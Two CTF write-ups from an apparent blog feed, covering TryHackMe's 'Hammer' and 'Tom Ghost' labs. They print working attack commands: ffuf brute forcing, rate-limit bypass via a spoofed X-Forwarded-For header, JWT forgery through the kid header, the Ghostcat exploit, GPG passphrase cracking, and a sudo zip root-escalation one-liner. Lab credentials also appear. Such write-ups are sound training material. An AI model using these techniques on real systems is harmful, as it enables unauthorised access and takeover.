&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.49.149.19:1337/FUZZ&amp;#39;&lt;/span&gt; -w /usr/share/wordlists/dirb/big.txt -t &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; -b 400-500
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gobuster dir -u &lt;span style="color:#e6db74"&gt;&amp;#34;http://10.49.149.19:1337&amp;#34;&lt;/span&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span style="color:#75715e"&gt;# this wordlist not giving good resutls&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.htpasswd &lt;span style="color:#75715e"&gt;# do not access&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.htaccess &lt;span style="color:#75715e"&gt;# do not access&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/javascript &lt;span style="color:#75715e"&gt;# do not enough permissions to open &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/vendor &lt;span style="color:#75715e"&gt;# Voila, Seems like a directory exposed to web&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/phpmyadmin &lt;span style="color:#75715e"&gt;# A php admin site&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;I keep observing /vendor directory, honestly i do not find any flags. It just seems third party libraries in php.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part1-time-for-action---bruteforce"&gt;Part1: Time for Action - Bruteforce&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I tried brute forcing loging page, it does not worked.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.49.149.19:1337/&amp;#39;&lt;/span&gt; -d &lt;span style="color:#e6db74"&gt;&amp;#39;email=tester%40hammer.thm&amp;amp;password=FUZZ&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Content-Type: application/x-www-form-urlencoded&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Origin: http://10.49.149.19:1337&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9&amp;#39;&lt;/span&gt; -w /usr/share/wordlists/rockyou.txt -t &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; -fr &lt;span style="color:#e6db74"&gt;&amp;#39;Invalid Email or Password!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Intruder Brute force on OTPs of the reset_password for &lt;a href="mailto:tester@hammer.thm"&gt;tester@hammer.thm&lt;/a&gt; in burp revealeed, there is implementation of rate-limiting inside backend of reset_password. It giving the error after a specific number (for me its 7) attempts.&lt;/li&gt;
&lt;li&gt;Honestly, i wasn&amp;rsquo;t sure, how to break rate limiting, some blogs revealed use of &lt;code&gt;X-Forwarded-For&lt;/code&gt; in request headers to tell server about client&amp;rsquo;s IP. This is generally used in server with proxies to track the client&amp;rsquo;s activities.&lt;/li&gt;
&lt;li&gt;In this case, i we do not have proxies, and we make use of this vulnerability. What we do is, tell the server that requests are coming from varios IPs using &lt;code&gt;X-Forwarded-For&lt;/code&gt; header, so bypassing the rate-limiting.&lt;/li&gt;
&lt;li&gt;Ok, Now reset the password for &lt;a href="mailto:tester@hammer.thm"&gt;tester@hammer.thm&lt;/a&gt;, enter the randam OTP and capture request it in burp.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Generate OTPs list for bruteforce using the crunch
crunch 4 4 0123456789 -o otp-list.txt
# Now, Brute force with ffuf
ffuf -u &amp;#39;http://10.49.149.19:1337/reset_password.php&amp;#39; -d &amp;#39;recovery_code=FUZZ&amp;amp;s=170&amp;#39; -H &amp;#39;Content-Type: application/x-www-form-urlencoded&amp;#39; -H &amp;#39;Origin: http://10.49.149.19:1337&amp;#39; -H &amp;#39;Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9&amp;#39; -H &amp;#39;X-Forwarded-For: FUZZ&amp;#39; -w otp_numbers.txt -t 1000 -fr &amp;#39;Invalid or expired recovery code!&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Above brute force may reveal the otp, lets give new password for user and logIN.&lt;/li&gt;
&lt;li&gt;First flag is revealed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part2-remote-code-execution"&gt;Part2: Remote code execution&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Upon loggin with new password, its turns out there is auto logout after few seconds. I do not have any option, but to capture the request in burp repeater and execute commands from there.&lt;/li&gt;
&lt;li&gt;Honestly, Seems like my role is not admin, allowing me to execute only &lt;code&gt;ls&lt;/code&gt; command.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;188ade1.key &lt;span style="color:#75715e"&gt;# curl http://10.49.149.19:1337/188ade1.key --&amp;gt; 56058354efb3daa97ebab00fabd7a7d7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;composer.json &lt;span style="color:#75715e"&gt;# cat composer.json in website --&amp;gt; &amp;#34;{\n \&amp;#34;require\&amp;#34;: {\n \&amp;#34;firebase\/php-jwt\&amp;#34;: \&amp;#34;^6.10\&amp;#34;\n }\n}\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dashboard.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;execute_command.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_css
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_images
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_js
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_logs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;index.php 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logout.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reset_password.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Upon observation of request, its reveals usage of jwt for the authentication and authorization. Ok why dont we decode the token and see what there in. Yeah did.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;#&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;Token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;eyJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;eXAiOiJKV&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;QiLCJhbGciOiJIUzI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;NiIsImtpZCI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Ii&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;92&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;YXIvd&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;d&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;L&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;215&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;a&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;V&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;LmtleSJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.eyJpc&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;MiOiJodHRwOi&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;vaGFtbWVyLnRobSIsImF&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ZCI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Imh&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;dHA&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Ly&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;oYW&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;tZXIudGhtIiwiaWF&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;IjoxNzY&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ODc&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;NTAxLCJleHAiOjE&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Njk&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ODIxMDEsImRhdGEiOnsidXNlcl&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;pZCI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;MSwiZW&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;haWwiOiJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ZXN&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;c&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;VyIn&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.erK&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;sC&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;UYS&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;suyRWwIjMdSbvA&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;sxIYUvzKbJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;-58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;szio&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;#&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;After&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;decoding,&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;Headers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;typ&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;JWT&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;alg&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;HS256&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;kid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/var/www/mykey.key&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;#&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;Paylaod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;iss&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://hammer.thm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;aud&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://hammer.thm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;iat&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1769878501&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;exp&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1769882101&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;user_id&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;tester@hammer.thm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Developer might have not included kid, and role in the token itself. Lets make use of vulnerability by making new token with our own kid, and role using url: &lt;a href="https://xjwt.com"&gt;https://xjwt.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;We will use key, already present at the root directory of website &lt;code&gt;kid: /var/www/html/188ade1.key&lt;/code&gt; and &lt;code&gt;role: admin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Headers
{
 &amp;#34;typ&amp;#34;: &amp;#34;JWT&amp;#34;,
 &amp;#34;alg&amp;#34;: &amp;#34;HS256&amp;#34;,
 &amp;#34;kid&amp;#34;: &amp;#34;/var/www/html/188ade1.key&amp;#34;
}
# Payload
{
 &amp;#34;iss&amp;#34;: &amp;#34;http://hammer.thm&amp;#34;,
 &amp;#34;aud&amp;#34;: &amp;#34;http://hammer.thm&amp;#34;,
 &amp;#34;iat&amp;#34;: 1769878501,
 &amp;#34;exp&amp;#34;: 1769882101,
 &amp;#34;data&amp;#34;: {
 &amp;#34;user_id&amp;#34;: 1,
 &amp;#34;email&amp;#34;: &amp;#34;tester@hammer.thm&amp;#34;,
 &amp;#34;role&amp;#34;: &amp;#34;admin&amp;#34;
 }
}
# Key
56058354efb3daa97ebab00fabd7a7d7
# Generated token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzY5ODc4NTAxLCJleHAiOjE3Njk4ODIxMDEsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.beXn8RMbKeq8qgAMvkKPZ86IZ7nc4IpeYMv7v9jJXUo
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Lets make use of this new token in captured request on repeater of burp suit, and run &lt;code&gt;cat /home/ubuntu/flag.txt&lt;/code&gt; command there.&lt;/li&gt;
&lt;li&gt;It will reveal the second Flag.&lt;/li&gt;
&lt;li&gt;Yeah that&amp;rsquo;s it, We solved CTF.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Tom Ghost - TOMCAT - Tryhackme</title><link>https://silent-resistor.github.io/posts/tomghost/</link><pubDate>Fri, 31 Jan 2025 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/tomghost/</guid><description>&lt;ul&gt;
&lt;li&gt;Thought it was difficut just by looking at the vulnerabities after nmap scan &lt;code&gt;tomghost.nmap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A perfectly deployed tomcat at 8080 (spent alot of time on this), and a silently hiding ghost (same tomcat) listening at 8009 for ajp packets.&lt;/li&gt;
&lt;li&gt;A quick scan on &lt;code&gt;searchexploit&lt;/code&gt; and &lt;code&gt;msfconsole&lt;/code&gt; for ajp or ghostcat quckly revelead a very good exploit. which eventually reveals ssh password for the &lt;code&gt;skyfuck&lt;/code&gt; user.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;## msfconsole: exploit:auxiliary/admin/http/tomcat_ghostcat,
 &amp;lt;web-app xmlns=&amp;#34;http://xmlns.jcp.org/xml/ns/javaee&amp;#34;
 xmlns:xsi=&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;
 xsi:schemaLocation=&amp;#34;http://xmlns.jcp.org/xml/ns/javaee
 http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd&amp;#34;
 version=&amp;#34;4.0&amp;#34;
 metadata-complete=&amp;#34;true&amp;#34;&amp;gt;

 &amp;lt;display-name&amp;gt;Welcome to Tomcat&amp;lt;/display-name&amp;gt;
 &amp;lt;description&amp;gt;
 Welcome to GhostCat
 skyfuck:8730281lkjlkjdqlksalks
 &amp;lt;/description&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Now im inside the &lt;code&gt;skyfuck&lt;/code&gt; user. What i can see is a &lt;code&gt;crendentials.gpg&lt;/code&gt; file encrypted with the encryption key &lt;code&gt;tryhackme.asc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;i have tried by decrypting with &lt;code&gt;gpg&lt;/code&gt;, its again asking for the passphrase for encryption key which i do not have.&lt;/li&gt;
&lt;li&gt;So, thought of brutforcing the passphrase for the encryption key. Lets get into the Kali&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;scp skyfuck@10.49.159.228:tryhackme.asc ./
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/sbin/gpg2hash tryhackme.asc &amp;gt; hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;john --format&lt;span style="color:#f92672"&gt;=&lt;/span&gt;gpg --wordlist&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/share/wordlist/rockyou.txt hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Using default input encoding: UTF-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Cost 1 (s2k-count) is 65536 for all loaded hashes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Will run 3 OpenMP threads&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# alexandru (tryhackme) &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 1g 0:00:00:00 DONE (2025-12-29 14:01) 12.50g/s 13425p/s 13425c/s 13425C/s alexandru..trisha&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Use the &amp;#34;--show&amp;#34; op&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;it turns out we found the passphrase for the encryptions key, i.e, &lt;code&gt;alexandru&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Now, lets get more action in the &lt;code&gt;skyfuck&lt;/code&gt; user of target machine&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg --import tryhackme.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg --decrypt credentials.gpg &lt;span style="color:#75715e"&gt;# enter the passphrase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# &amp;#34;tryhackme &amp;lt;stuxnet@tryhackme.com&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Now, we have the password for the &lt;code&gt;merlin&lt;/code&gt; user&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su - merling &lt;span style="color:#75715e"&gt;# enter the pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# privilage escalation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo -l &lt;span style="color:#75715e"&gt;# revals he has privilages on zip &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TF&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;mktemp -u&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo zip $TF /etc/hosts -T -TT &lt;span style="color:#e6db74"&gt;&amp;#39;sh #&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo rm $TF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id &lt;span style="color:#75715e"&gt;# reveals now you are root&lt;/span&gt;
